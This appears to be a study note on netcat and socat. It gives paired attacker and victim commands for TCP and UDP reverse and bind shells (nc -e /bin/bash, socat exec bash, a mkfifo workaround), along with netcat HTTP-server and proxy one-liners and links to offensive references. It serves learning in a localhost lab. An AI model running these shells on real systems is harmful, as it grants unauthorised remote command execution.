Simple Netcat Socat Reverse Shells

Tasks

1. explain how to run the same connection via udp
2. is it possible to run a http end-point with netcat?
3. is it possible to proxify netcat traffic?

nc tcp reverse shell

- attacker listener: `nc -l -v -p 8080`
- victim: `nc.traditional -e /bin/bash localhost 8080`

socat tcp reverse shell

- attacker listener: `socat file:`tty`,raw,echo=0 TCP-L:8080`
- victim: `socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:localhost:8080`

nc udp bind shell

- victim listener: `nc -l -v -u 2399 -e /bin/bash`
- attacker: `nc -u localhost 2399`

nc udp reverse hell

- attacker: `nc -l -v -u -p 8080`
- victim: `will not work: nc.traditional -u -e /bin/bash localhost 8080`
- victim: use commands below for the victim

```
mkfifo fifo
nc.traditional -u localhost 8080 < fifo |
{
 echo "Hi"
 bash
} > fifo
```

socat udp reverse shell

- attacker: `socat file:`tty`,raw,echo=0 UDP-L:8080`
- victim: `socat exec:'bash -li',pty,stderr,setsid,sigint,sane udp:localhost:8080`

http endpoint with nc

- create a file `index.http`
- serve the file using: `while true; do cat index.http | nc -l 8080; done`

content of the file `index.http`

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
    <body>
    <h1>
    A webpage served by netcat
    </h1>
    </body>
</html>
```

As an example of a “weird web server” you can make with nc, you can simulate a very slow web server. Use `pv --rate-limit 10` to read the file at 10 bytes per second:

- `apt install pv`
- `while true; do pv --rate-limit 10 index.http | nc -l 8080; done`

or a minimal netcat server giving out the current date

- `while true ; do nc -l -p 8080 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"'; done`
-

nc proxify

- `ncat --proxy <proxyhost>[:<proxyport>] --proxy-type { http | socks4 | socks5 } <host> [<port>]`

Reference

- https://pwncat.org/
- https://book.hacktricks.xyz/shells/shells/windows
    - Windows: https://lolbas-project.github.io/
    - Linux: https://gtfobins.github.io/